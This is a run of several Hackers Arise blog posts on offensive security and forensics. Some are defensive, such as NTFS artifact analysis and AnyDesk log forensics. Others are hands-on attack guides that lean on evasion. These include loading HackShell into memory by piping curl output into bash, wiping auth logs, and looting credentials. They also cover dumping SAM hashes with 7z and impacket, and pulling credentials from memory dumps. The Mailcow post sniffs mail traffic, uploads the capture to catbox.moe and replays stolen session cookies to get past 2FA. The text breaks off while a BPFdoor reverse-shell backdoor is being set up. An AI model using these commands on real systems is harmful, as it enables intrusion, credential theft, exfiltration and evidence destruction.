Before we continue, let’s see what evidence we were given.

Above is a forensic image and below is a text file with metadata about that image. You should always verify the integrity of the evidence by comparing the computed hash of the image with the hash recorded in the metadata file.

If the hash matches, work only on a duplicate and keep the original evidence sealed. 

Opening a disk image with a corrupted boot sector in Autopsy or FTK Imager will not work, as many of these tools expect a valid partition table and a readable boot sector. In such cases you will need to repair the image manually with a hex editor. We will use HxD for this. 

The first 512 bytes of a disk image contain the MBR on traditional MBR partitioned media. In this image the final two bytes of that sector were modified. A valid MBR should end with the boot signature 0x55 0xAA. Those two bytes tell the firmware and most tools that the sector holds a valid boot record. Without the signature the image may be unreadable, so restoring the correct 0x55AA signature is the first step.

When editing the MBR in a hex editor, do not delete bytes with backspace, you need to overwrite them. Place the cursor before the bytes to be changed and type the new hex values. The editor will replace the existing bytes without shifting the file.

Partitions

This image contains two partitions. In a hex view you can see the partition table entries that describe those partitions. In FTK Imager and Autopsy those partitions will be shown graphically once the MBR and partition table are valid.

Both of them are in the black frame. The partition table entries also encode the partition size and starting sector in little endian form, which requires byte order interpretation and calculation to convert to human readable sizes. It’s a bit complex. For example, if you see an entry with 63,401,984 sectors and each sector is 512 bytes, then do this:

63,401,984 sectors × 512 bytes = 32,461,815,808 bytes, which is 32.46 GB (decimal) or ≈ 30.23 GiB

FTK Imager

We used FTK Imager to view the contents of our evidence drive. In FTK Imager choose File, then Add Evidence Item, select Image File and choose the verified copy of the image.

Now FTK Imager can see the partitions and their file systems. Autopsy can handle a large portion of the analysis and save time, but you want to give it some manual inspection to understand how Windows stores metadata.

$MFT

Our next goal is to analyse the $MFT (Master File Table). The $MFT is a system file that works as an index for every file and directory on the file system. It has records with metadata about filenames, timestamps and attributes. Sometimes you can even extract files from it that were stored somewhere on the disk, if their size was small. It’s called residential data. 

Export the $MFT from the mounted or imaged volume. Right click $MFT and then Export Files.

To parse and extract readable output from the $MFT use MFTECmd.exe. This tool is included in Eric Zimmerman’s EZTools collection.

PS > MFTECmd.exe -f ..\Evidence$MFT --csv ..\Evidence\ --csvf MFT.csv

It creates a CSV file you can use for keyword searches and timeline work. 

When a CSV file is opened, you can use basic keyword search or pick an extension to see what files existed on the drive. 

You need to know how to work with $MFT, because it’s important. If a suspect deleted a file, the $MFT may still contain some information about it. That information can be used in data recovery and in building a timeline of the suspect’s activity.

Suspicious Files

On the second partition we found several suspicious entries. Many were marked as deleted but can still be exported and analyzed.

The insider had DiskWipe.exe to remove traces. You can see references to sensitive corporate documents, which means data exfiltration. At this stage we can confirm the machine was used to access sensitive files. If we decide to analyze further, we can use registry and disk data to see whether DiskWipe.exe was actually executed and what insider executed it. This is outside of our scope today.

$USNJRNL

The $USNJRNL (Update Sequence Number Journal) is another hidden NTFS system file that records changes to files and directories. It logs creation, modification and deletion before they affect files on the disk. Because it records a history of file system operations, $UsnJrnl ($J) can be used in cases involving mass file deletion or tampering. 

To extract the journal, first go to root, then $Extend and double-click $UsnJrnl. You need a $J file.

You can then parse it with MFTECmd in the same way:

PS > MFTECmd.exe -f ..\Evidence$J --csv ..\Evidence\ --csvf J.csv

Since the second partition had the wiper, we can assume the insider deleted files to cover traces. We need to open the CSV in Timeline Explorer and set the Update Reason to FileDelete to view deleted files.

Among the deleted entries we found a “data Exfil” folder. Often hackers put data into folders and then zip them to transfer, so we searched $MFT and $J for archive extensions. A few entries with “New Compressed (zipped) Folder.zip” were there. 

We can see that an archive was created and files were added to it. Then the insider renamed that archive (RenameOldName). Using the Parent Entry Number stored in $J we can correlate entries and recover the original folder name.

We found that the original folder name was “data Exfil” which was later deleted by the insider.

Timeline

From the collected artifacts we know the machine was used for data exfiltration. We found Excel sheets, PDFs, text documents and zip archives with sensitive data. The insider zipped a folder with sensitive files and then tried to wipe everything. To confirm execution and attribute actions to a certain user we can analyze the registry, prefetch files, shellbags and NTUSER.DAT. The MBR was corrupted intentionally to complicate the investigation.

Summary

Digital forensics is useful for both blue and red teams. Many Windows features that were designed to make the OS easier to work with can also be valuable for forensic analysis. Autopsy and other tools can speed things up, but you still need to validate the output with some manual checks.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Fixing a Corrupted Disk After File Exfiltration first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.

Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough. 

WhisperPair Vulnerability

In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.

However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.

From that point on, the hacker gains control over the accessory. 

Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.

This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.

The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.

Bluehood Scanner

Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.

Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.

For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.

You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter. 

Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.

Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.

Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.

Installation

You can install  the tool quickly using Docker.

kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d

Alternatively, you can install it using package managers and Python tools.

kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood

After the installation you can start the scanner.

# Start with web dashboard (default port 8080)
kali > bluehood

# Specify a different port
kali > bluehood --port 9000

# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1

# List available adapters
kali > bluehood --list-adapters

# Disable web dashboard (scanning only)
kali > bluehood --no-web

Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.

Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.

Summary

Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

Welcome back, digital investigators!

AnyDesk was first introduced around 2014, and it very quickly became a popular RMM tool. It’s lightweight and easy to deploy. Those same qualities also made it attractive to hackers and APTs. Over the last several years, it’s become one of the preferred tools for maintaining persistent access to compromised systems.

Given that many admins use it legitimately, it’s common to find on corporate machines. All the hacker needs to do is gain access to the endpoint, change the AnyDesk password or configure a new access profile. This persistence often goes unnoticed for weeks or months. During that time the hacker can come and go as they please. Many organizations don’t monitor RMM logs at all, even when they have a mature SOC in place. We’ve seen companies with large infrastructures and centralized logging completely ignore AnyDesk connections. That gives hackers time to get ready for a ransomware attack.

We also see hackers modifying registry settings so the accessibility button at the Windows login screen opens a CMD prompt with the highest privileges. We showed this in our “PowerShell for Hackers – Basics” article. 

If you want to see how widespread this abuse is, look at recent reports on Russia.

Kaspersky has documented incidents where AnyDesk was used by hacktivists and ransomware groups during their operations. In the ICS-CERT reporting for Q4 2024, for example, Crypt Ghouls relied on Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec. In Q3 2024, BlackJack used AnyDesk, Radmin, PuTTY and tunneling with ngrok for persistence across Russian government, telecom and ICS. And that’s just a glimpse of it.

With that in mind, we want to show you how to investigate a computer that was compromised through AnyDesk.

Log Files

Today we’ll focus on log files that can help you determine whether there’s been unauthorized access. These logs can show the hacker’s AnyDesk ID, their display name, their OS and IP address. The logs can also show whether there were attempts to upload files or exfiltrate them.

During incident response this insight is already valuable. On top of that, collecting these logs and ingesting them into your SIEM can help you generate alerts on night-time access.

Here are the log files and full paths that you will need for this analysis:

C:\Users\%username%\AppData\Roaming\AnyDesk\ad.trace
C:\Users\%username%\AppData\Roaming\AnyDesk\connection_trace.txt
C:\ProgramData\AnyDesk\ad_svc.trace
C:\ProgramData\AnyDesk\connection_trace.txt

AnyDesk can be used in two distinct ways. The first is as a portable executable. In that case, the user runs the program directly without installing it. When used this way, the logs are stored under the user’s AppData directory. The second way is to install AnyDesk as a service. When AnyDesk runs as a service, ProgramData will contain trace files. The AppData folder will still hold the ad.trace file. Together these files form the basis for your investigation.

Connection Log Timestamps

The connection_trace.txt logs are readable and give you a record of successful AnyDesk connections. Here is an example with a randomized AnyDesk ID:

Incoming 2025-07-25, 12:10 User 568936153 568936153

The real AnyDesk ID has been redacted. The log shows there was a successful inbound connection on 2025-07-25 at 12:10 UTC from the AnyDesk ID. This only confirms that remote access happened, but we can dig deeper using the other logs.

Finding Information About the Hacker

Now we can try to understand who the hacker might be. Although names, IDs and OS can be changed by the attacker at any time, patterns still exist. Most don’t constantly change their display name unless they are extremely paranoid. Even then, the timestamps do not lie. Remote logins occurring repeatedly in the middle of the night are a strong indicator of unauthorized access.

We will work primarily with the ad.trace and ad_svc.trace files. These logs are noisy, so it’s better to search for specific keywords:

PS > get-content .\ad.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adtrace.log

PS > get-content .\ad_svc.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adsvc.log

We filtered out only the most interesting lines and saved them into adtrace.log and adsvc.log

IP Address

In many cases, the ad_svc.trace log contains the external IP address from which the hacker connected. “Logged in from” has the IP next to it, while “Accepting from” has the AnyDesk ID. These values were redacted.

Once you have the IP, you can block it and remove the app from the host if it’s not necessary. Many of these unauthorized connections originate from VPN servers, of course. 

Name & OS Information

Inside ad.trace you will find the hacker’s display name after “Incoming session request”. Right next to that field you will see their AnyDesk ID. You may also see references to the hacker’s operating system.

Here the connection came from a Linux machine and they’d set their display name to “IT Dep” in an attempt to look legitimate.

Data Exfiltration

AnyDesk also supports file transfer both ways. Hackers can upload malware or exfiltrate sensitive company data directly through the session. In the ad.trace logs you will sometimes see references such as “Preparing files in …” which indicate file operations were taking place.

This line alone does not always tell you what exact files were transferred, especially if the hacker worked out of temporary directories. However, correlating those timestamps with Windows forensic artifacts can show exactly what the hacker copied.

In our case, files stored in the Documents folder were exfiltrated.

Summary

Given how widespread AnyDesk is, you should always treat its logs as high priority artifacts. AnyDesk is one RMM tool, and there are plenty more out there being actively abused for persistence. Make sure their logs are consistently collected and ingested into your SIEM so you can spot suspicious activity outside business hours.

If you’re interested in digital forensics, we recommend our training for both beginners and those looking to advance their forensic skills.

Our team also provides digital forensics services. If you need any support during an investigation, we’re always happy to help. Contact us at hackers-arise@protonmail.com

The post Digital Forensics: AnyDesk – Favorite Tool of APTs first appeared on Hackers Arise.

Welcome back, cyberwarriors!

The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.

Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.

Credit where it’s due, Jonas Lyk shared this approach.

Extracting Hives

To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.

Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.

Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive. 

System hives live in Windows\System32\config

Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.

File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.

kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL

We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.

Terminal

This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.

There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.

Summary

Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.

It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Attacking SAM and Extracting Hashes With 7z first appeared on Hackers Arise.

Welcome back, cyberwarriors!

During pentests, we often run into EDRs and antiviruses protecting endpoints. These mainly stop you from dumping hashes and running malware on the hosts. Although they’re often good at what they do, they still have flaws that make them vulnerable to chokers and killers that can terminate their process.

If you’ve ever tried dumping LSASS or extracting SAM and SYSTEM hives, you’ve seen the EDR block your attempts. There are legit ways to do it, for instance with reg.exe or Task Manager, but these have been abused for so long that they can’t be relied on anymore. Despite all that, dumping hashes is really easy if you do a complete memory dump with forensics tools and pull the hashes from the dump. These tools don’t just target LSASS, they do a full memory dump that includes everything. That’s what’s supposed to happen during incident response procedures, so nothing gets flagged and it won’t, because that would interfere with security work.

Today we want to show you how to use FTK Imager with DeadMatter to extract different credentials. FTK Imager needs a GUI, so if you don’t have it try running DumpIt from CLI instead. It’s available on GitHub.

What is DeadMatter

DeadMatter is written in C# and its whole job is to extract sensitive information from memory dumps. It scans raw data to find patterns associated with credentials, that way you can recover them even when the memory dump is incomplete or the format isn’t predictable. The tool is also lightweight and isn’t flagged by AV/EDR, so you can extract hashes on the victim machine directly without transferring these huge files around. The results include NTLM hashes, DPAPI keys, and other artifacts tied to logon sessions. The tool was first presented at Black Hat USA 2025.

Compiling DeadMatter

The repository for DeadMatter doesn’t include a precompiled binary and you will need to build it yourself. You can do it with Visual Studio or using the .NET Framework.

If you choose to compile it manually, you can clone the repository and execute the build process from PowerShell.

PS > dotnet build -c release

Once it completes, Deadmatter.exe will be in the bin\Release directory. The build process usually completes without issues, if you have the required .NET components installed correctly.

If you prefer not to compile the tool yourself or run into problems during the process, you can use our compiled version to save time. We uploaded the compiled executable to our GitHub.

Capturing RAM

Before moving forward, it is important to understand that this technique relies on the ability to extract credentials from memory, which is significantly affected by the state of Credential Guard. If Credential Guard is enabled, credentials are isolated and you won’t be able to access them.

But in many environments with Windows 10 Pro or Windows Server versions prior to 2025, Credential Guard is often disabled. These systems are still widely used across corporate infrastructures. Newer deployments usually have it enabled by default now. To avoid unnecessary effort you can check the status of Credential Guard before proceeding.

PS > Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

If it shows that it’s disabled {0}, you can proceed with memory acquisition.

We used FTK Imager to capture RAM. You just need open the app and click “Capture Memory”

Then you specify the name and the destination path. The default settings are enough.

Our next step is exfiltration. Modern systems often have large amounts of RAM. Servers commonly have 16-32GB as a baseline, and systems that have Microsoft Exchange may have significantly more. A raw memory dump of this size can be quite large, but you can compress it with 7z. It’s possible to reduce it from 32GB down to 12 GB, if you don’t want to run DeadMatter directly on the compromised system.

Extracting Credentials

Once the dump is transferred, you can extract creds. To process a full memory dump in raw format using structured parsing and carving, run this:

PS > .\Deadmatter.exe -f memory_dump.raw

The output is quite detailed. As you scroll through the results, you will find different credentials associated with active or recently active sessions on the system.

If you want to rely purely on carving methods, you can ignore structured parsing and search the raw data directly:

PS > .\Deadmatter.exe -f memory_dump.raw -m carve

When you work with a minidump file and want to use a specific parsing method, you can define the technique and the Windows version:

PS > .\Deadmatter.exe -f lsass.dmp -m mimikatz -w WIN_10_1507 -v

There are also more advanced options available. For instance, you can extract both credentials and DPAPI keys with additional brute-forcing to find initialization vectors within the data:

PS > .\Deadmatter.exe -f memory_dump.raw -b -d

Try different methods and see if you can find more information. 

Defense

To protect yourself from these attacks, make sure Credential Guard is on. It’ll make the credentials inaccessible. It’s also a good idea to monitor which forensic tools are being used. Ideally, keep a whitelist of approved tools that way you can spot someone trying to do a dump without authorization.

Summary

While defenders should have a red team mindset, hackers should have a blue team mindset to know how things work on the other side. Digital forensics is a great field and applies to both sides. Extracting credentials from systems is just one of its uses, more advanced knowledge can help you with behavior analysis and evasion.

If you want to learn more about Digital Forensics, we have training for beginners and for those who want to advance their skills in it.

The post Digital Forensics: Extracting Credentials with DeadMatter first appeared on Hackers Arise.

Welcome back, cyberwarriors.

It’s Collateral here again. Today we want to show you an attack vector that can bypass password complexity and 2FA. It was successful during one of our latest pentests. The environment we were testing was complex with segmented networks. In a situation like that, the best move is usually traffic analysis.

During the pentest we got access to a machine used for corporate mail. No details were given about the machine or the environment around it, but we noticed that the host was running multiple Docker containers. On the surface it looked like the company had done a decent job hardening things. Looking manually for configs across all these different apps is always a pain, so we used LaZagne instead to look for credentials.

LaZagne

LaZagne is a credential recovery tool that can parse configs and find credentials in them. It’s pretty easy to work with and the output looks clean. The tool can often find passwords buried in odd locations.

bash# > python3 laZagne.py

Not every entry you see will be a valid login, but most of the passwords are usable. We found the root credentials for MySQL which gave us database access. That’s already enough to temporarily adjust the password entries to analyze mail overnight.

# Docker shows 127.0.0.1:13306->3306/tcp

bash# > mysql -h 127.0.0.1 -P 13306 -u root -p

The password hashes used BLF-CRYPT format, which can be reproduced using the container itself, if you actually decide to manipulate the entries.

Network Traffic Analysis

These password hashes won’t help, because they’re slow to crack and some of them are backed by 2FA. Logging in with a cracked password might trigger a verification code sent to the user’s phone, which will definitely raise alarms.

For this attack we used tcpdump. A lot of people won’t like it because it’s a CLI tool and it’s boring writing those long oneliners explaining what you want to capture, but it’s quite powerful. It helped us understand the network’s behavior and find out which services were in use. You can still open your pcaps in Wireshark if you want to. Or better yet NetworkMiner, which will dissect every packet and sort all the findings. It’s often used for quick credential searches in pcaps because the filters are really strong

Above you can see a general traffic capture to get a sense of the environment. In secure networks where active scanning with nmap and other tools gets flagged, tcpdump is a better choice. By looking through the traffic flow, we can see the communication paths. We focused on HTTP traffic and found POST requests made to the mail server. The requests showed the internal proxy, where a publicly accessible mail portal forwarded traffic to a local Linux machine.

As you can see, the request contains the original IP address. Even though the main site used HTTPS, internal traffic was still HTTP. It’s a pretty common mistake.

Looks pretty good, right? They still think so.

Identifying the Port

To capture the credentials we had to find the correct port. It wasn’t on the usual 80 or 8080. If you look closely at the POST request, you will find it. It was 20000. That’s security through obscurity, as OTW says.

With that in hand, we started capturing the traffic:

bash# > tcpdump -i interface tcp port 20000 -w /etc/systemd/20k_01.pcap

Change the interface name to match yours and always store captures in obscure locations. Keep in mind, the tcpdump process will show up in the process list, unless the you use Zapper to hide it.

bash# > ps aux | grep tcpdump

Give it a few hours during the busy day and come back for your traffic capture. It’s always better to find the necessary ports and listen to their traffic instead of throwing a full capture at everything. The size will grow fast and the admins will notice a problem soon enough, especially if there isn’t much storage left to begin with.

# Upload the pcap to a free file host

bash# > file=20k_01.pcap
bash# > curl -F "reqtype=fileupload" -F "fileToUpload=@$file" https://catbox.moe/user/api.php

# It will give you the link in the output  

Next go to Wireshark, click File > Export objects > HTTP.

Export everything and read through all the connect packets.

kali > cat connect * | jq .

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using Cookie-Editor and you’re in.

Streamlining With TCPDump

Once you know what to look for, you can grep the keywords you need:

kali > tcpdump -A -r 20k_05.pcap port 20000 | grep “userName”

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using an extension like Cookie-Editor and you’re in.

We found folders labeled “Accesses” and “VM”. Emails showed the company hosted client services on virtual machines. All the credentials for the VMs were stored in plaintext, which is basically a goldmine for lateral movement and pivot.

Conclusion

Network traffic isn’t always the first thing hackers and pentesters go with, but that underestimates it significantly. As you’ve seen, there’s a lot that can be found in it if you dedicate some time. Seeing HTTP used inside organizations is so common. That’s a very common mistake that leaves all the communication wide open. So if you know how to look for things, you’ll find your answer in a subtle way. All this company noise is an opportunity during a pentest for us.

The post Pentesting: Taking Over A Corporate Mail – Mailcow first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors.

As you might know, not all dangerous threats are the loud ones. We often hear about ransomware campaigns that paralyze companies and demand money. Money is the key factor in these operations. If the victim pays once and gets their decryption key, there’s a chance they will pay a second time. That means the key must be delivered to the victim. Total destruction isn’t really the objective here. Things need to stay in a state where they can be fixed within a short period of time if the victim pays.

With state sponsored APTs, things are a bit different. Given the strategy China has right now in regards to the West, they’re trying to preposition themselves for a future conflict, so gaining as much access as possible is the current goal. Once things go south, all that compromised infrastructure starts crippling systems in a bid to cause as much damage as possible. That’s what happened before and during the first days of the Russian invasion of Ukraine and other countries, so there’s a good chance that’s what will happen during an active conflict with China.

An investigation by Rapid7 Labs found evidence of an advanced China nexus threat actor known as Red Menshen. This group has been placing stealthy digital sleeper cells inside telecommunications networks. These are long-term operations built for persistence and access to sensitive environments, including government infrastructure.

At the center of this activity is BPFdoor.

What is BPFDoor

BPFdoor doesn’t behave like conventional malware. It doesn’t open a visible listening port or maintain a C2 channel. BPFdoor is a passive Linux backdoor that works at a very low level in the system. It uses the Berkeley Packet Filter (BPF), which is a feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring. In this case, it is being abused. The backdoor attaches itself to a raw network socket and inspects incoming traffic. It can actually see packets before firewall rules have a chance to process them. So even if your firewall is configured correctly, the backdoor can still see traffic that should have been blocked.

Most of the time, the backdoor does nothing. It remains completely dormant, which makes it difficult to detect through behavior. It just waits for a “magic packet”. That magic packet has a predefined pattern known only to the hacker. When it arrives, the backdoor wakes up and gives the hacker a reverse shell, so that he doesn’t expose the entry point.

For this article we will use a simplified PoC. It doesn’t include advanced features such as encryption, persistence or espionage modules. But it’s enough to show the core idea and that’s what matters for our learning. The original rootkit can be found here.

Setting Up

We begin by cloning the repository and modifying the trigger file. That’s the file responsible for sending the magic packet that activates the backdoor.

kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.c

Inside trigger.c you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine. We used Kali for this.

You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the PoC to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.

Once the file is ready, you compile both the trigger and the backdoor.

kali > gcc trigger.c -o trigger
